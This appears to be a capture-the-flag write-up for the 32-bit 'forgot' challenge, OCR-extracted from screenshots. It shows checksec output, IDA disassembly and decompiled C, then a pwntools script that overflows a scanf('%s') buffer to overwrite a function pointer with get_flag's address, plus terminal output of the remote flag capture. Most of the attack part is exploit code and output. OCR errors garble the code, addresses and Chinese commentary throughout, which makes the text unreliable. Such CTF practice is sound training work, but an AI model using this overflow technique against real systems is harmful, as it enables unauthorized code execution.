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root@mypwn:/ctf/work/python/forgot# checksec 39d012d5bbc34295855136e9662a5392
[*] '/ctf/work/python/forgot/39d012d5bbc34295855136€9662a5392"

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x8048000)
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- .text:080487AA
Function name .text:080487AA ; ===

== SUBROUTINE

- - .text: 0804872
|E| __libc_start_main .text:080487AA ; Attributes: bp-based frame
.text:080487AA
IE snprintf .text:080487AA ; int  cdecl main(int, char #**%, char *¥%)
- . .text:080487AA main proc near ; DATA XREF: start+l7To
[F] __isoc99_scanf .text:080487AA
.text:080487AA var 74 = byte ptr -74h
[7] start .text:080487AA s = byte ptr -2Ch
-text:080487AA var_4 = dword ptr -4
|E| sub_8048510 .text:080487AA
.text:080487AA ; _ unwind {
IE sub_8048520 .text:080487AA push ebp
.text:080487AB mov ebp, esp
IE sub_8048590 .text:080487AD push ebx
.text:080487AE and esp, OFFFFFFFOh
|E| sub_80485B0 .text:080487B1 add esp, OFFFFFF80h
.text:080487B4 mov dword ptr [espt+78h], 1
|z| sub_80485DD .text:080487BC mov dword ptr [esp+30h], offset sub_ 8048604
.text:080487C4 mov dword ptr [esp+34h], offset sub_ 8048618
|E| sub_8048604 .text:080487CC mov dword ptr [esp+38h], offset sub_804862C
.text:080487D4 mov dword ptr [esp+3Ch], offset sub_ 8048640
[#] sub_8048618 .text:080487DC mov dword ptr [esp+i0h], offset sub_8048654
.text:080487E4 mov dword ptr [esp+44h], offset sub_ 8048668
[#] sub_804862C .text:080487EC mov dword ptr [esp+48h], offset sub_804867C
.text:080487F4 mov dword ptr [esp+4Ch], offset sub_ 8048690
[#] sub_8048640 .text:080487FC mov dword ptr [esp+50h], offset sub_80486A4
.text:08048804 mov dword ptr [esp+54h], offset sub_80486B8
IE sub_8048654 .text:0804880C mov dword ptr [esp], offset aWhatIsYourName ; "What is your name?"
.text:08048813 call _puts
IE sub_8048668 .text:08048818 mov dword ptr [esp], offset asc_8048DCO ; "> "
.text:0804881F call _printf
IE sub_804867C .text:08048824 mov eax, ds:stdout
«text:08048829 mov [esp], eax ; stream
|E| sub_8048690 .text:0804882C call  _fflush
.text:08048831 mov eax, ds:stdin
E sub_80486A4 .text:08048836 mov [esp+8], eax ; stream
.text:0804883A mov dword ptr [esp+4], 20h ; n
E sub_80486B8 .text:08048842 lea eax, [esp+84h+s]
.text:08048846 mov [esp], eax i s
[#] sub_80486CC .text:08048849 call _fgets
- .text:0804884E lea eax, [esp+58h]
IE sub_8048702 .text:08048852 mov [esp], eax
.text:08048855 call sub_80485DD
IE sub_804874C .text:0804885A mov eax, ds:stdout
.text:0804885F mov [esp], eax ; stream
|E| sub_8048784 .text:08048862 call  _fflush
.text:08048867 mov eax, offset sub_8048654
IE main .text:0804886C mov [espt+4], eax
.text:08048870 mov dword ptr [esp], offset aIShouldGiveYou ; "I should give you a pointer perhaps. He"...
|E| init .text:08048877 call  _printf
.text:0804887C mov eax, ds:stdout
IE fini .text:08048881 mov [esp], eax ; stream
.text:08048884 call _fflush
E _term_proc .text:08048889 mov dword ptr [esp], offset aEnterTheString ; "Enter the string to be validate"
R .text: 08048890 call _puts
E pr||1tf .text:08048895 mov dword ptr [esp], offset asc_8048DCO ; "> "
.text:0804889C call _printf
IE fflush .text:080488A1 mov eax, ds:stdout
.text:080488A6 mov [esp], eax ; stream
[7] fgets .text:080488A9 call  _fflush
.text:080488AE lea eax, [esp+10h]
IE puts .text:080488B2 mov [esp+4], eax
.text:080488B6 mov dword ptr [esp], offset as ; "%s"
IE system .text:080488BD call ___isoc99_scanf
.text:080488C2 mov dword ptr [esp+7Ch], 0
|z| strlen .text:080488CA jmp loc_8048A40
. . S EOXE I 0B0ABECE ;o o o o e e e e e e
E __libc_start_main .text:080488CF
Line 33 of 46 000007AA 080487AA: main (Synchronized with Hex View-1)
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int __cdecl main()

{
size_t nIndexCurrent; // ebx
char szInputString[32]; // [esp+1@h] [ebp-74h]
int (*ptrFunction_1)(); // [esp+3@h] [ebp-54h]
int (*ptrFunction_2)(); // [esp+34h] [ebp-56h]
int (*ptrFunction_3)(); // [esp+38h] [ebp-4Ch]
int (*ptrFunction_4)(); // [esp+3Ch] [ebp-48h]
int (*ptrFunction_5)(); // [esp+40h] [ebp-44h]
int (*ptrFunction_6)(); // [esp+44h] [ebp-40h]
int (*ptrFunction_7)(); // [esp+48h] [ebp-3Ch]
int (*ptrFunction_8)(); // [esp+4Ch] [ebp-38h]
int (*ptrFunction_9)(); // [esp+56h] [ebp-34h]
int (*ptrFunction_a)(); // [esp+54h] [ebp-30h]
char szName; // [esp+58h] [ebp-2Ch]
int nChoice; // [esp+78h] [ebp-Ch]
size_t i; // [esp+7Ch] [ebp-8h]

nChaire = 1-



---------- -
ptrFunction_1 = fun_1;
ptrFunction_2 = fun_2;
ptrFunction_3 = fun_3;
ptrFunction_4 = fun_4;
ptrFunction_5 = fun_5;
ptrFunction_6 = fun_6;
ptrFunction_7 = fun_7;
ptrFunction_8 = fun_8;
ptrFunction_9 = fun_9;
ptrFunction_a = fun_a;
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(&szName, 32, stdin);
welcome_message((int)&szName);
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", fun_5);
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__iso0c99_scanf("%s", szInputString);
for (i =0; ; ++1 )
{
nIndexCurrent = i;
if ( nIndexCurrent >= strlen(szInputString) )

break;
switch ( nChoice )
{
case 1:
if ( is_11_num_ul_2(szInputString[i]) )
nChoice = 2;
break;
case 2:
if ( szInputString[i] == 64 )
nChoice = 3;
break;
case 3:
if ( is_11_num_ul(szInputString[i]) )
nChoice = 4;
break;
case 4:
if ( szInputString[i] == 46 )
nChoice = 5;
break;
case 5:
if ( is_1_letter(szInputString[i]) )
nChoice = 6;
break;
case 6:
if ( is_1_letter(szInputString[i]) )
nChoice = 7;
break;
case 7:
if ( is_1_letter(szInputString[i]) )
nChoice = 8;
break;
case 8:

if ( is_1_letter(szInputString[i]) )



nChoice = 9;
break;
case 9:
nChoice = 10;
break;
default:
continue;

}
(*(&ptrFunction_1 + --nChoice))();

return fflush(stdout);

int get_flag()

{
char s; // [esp+1Eh] [ebp-3Ah]

snprintf(&s, ox32u, "cat %s", "./flag");
return system(&s);
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1. __isoc99_scanf("%s", szInputString);
2. (*(&ptrFunction_1 + --nChoice))();
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int (*ptrFunction_1)(); // [esp+36h] [ebp-54h]
int (*ptrFunction_2)(); // [esp+34h] [ebp-56h]
int (*ptrFunction_3)(); // [esp+38h] [ebp-4Ch]
int (*ptrFunction_4)(); // [esp+3Ch] [ebp-48h]
int (*ptrFunction_5)(); // [esp+46h] [ebp-44h]
int (*ptrFunction_6)(); // [esp+44h] [ebp-40h]
int (*ptrFunction_7)(); // [esp+48h] [ebp-3Ch]
int (*ptrFunction_8)(); // [esp+4Ch] [ebp-38h]
int (*ptrFunction_9)(); // [esp+56h] [ebp-34h]
int (*ptrFunction_a)(); // [esp+54h] [ebp-30h]

ptrFunction_1 = fun_1;
ptrFunction_2 = fun_2;
ptrFunction_3 = fun_3;
ptrFunction_4 = fun_4;
ptrFunction_5 = fun_5;
ptrFunction_6 = fun_6;
ptrFunction_7 = fun_7;
ptrFunction_8 = fun_8;
ptrFunction_9 = fun_9;
ptrFunction_a = fun_a;
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int (*ptrFunction[10]) () = {
fun_1, fun_2, fun_3, fun_4, fun_5, fun_6, fun_7, fun_8, fun_9, fun_a

}
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(*(&ptrFunction_1 + --nChoice))();
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ptrFunction[--nChoice]();

Fr ARRATT R 75 B 3@ it szinputString B % A\ #5 H B ptrFunction, BRI LA 35 ptrFunction i & B0E Fl sh bk, 78 35 3
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get_flag = 0x080486CC
payload = 'A' * @x20 + p32(get_flag)
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#coding:utf8
from pwn import *
process_name = './39d012d5bbc34295855136€9662a5392"

p = process(process_name)
# p = remote('111.198.29.45', 39908)

get_flag = 0x080486CC
payload = 'A' * Ox20 + p32(get_flag)

p.sendlineafter('What is your name?\n> ', 'aaa')

p.sendlineafter('> ', payload)
p.interactive()
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root@mypwn:/ctf/work/python/forgot# python forgot.py
[+] Starting local process './39d012d5bbc34295855136€9662a5392"': pid 105
[*] Switching to interactive mode

cat: ./flag[*] Process './39d012d5bbc34295855136e€9662a5392"' stopped with exit code © (pid 105)
: No such file or directory

[*] Got EOF while reading in interactive

$

BRMNBRRPITHRII T, CELEAT T get flagiBih 7, MEATREBE—TF, KEIRFHEFRHFML:

root@mypwn:/ctf/work/python/forgot# python forgot.py

[+] Opening connection to 111.198.29.45 on port 39908: Done
[*] Switching to interactive mode
cyberpeace{cca7a7963faa8f8b3718b2394bb18cf4}

[*] Got EOF while reading in interactive

$

R, WA RE, SZB4s T flag.
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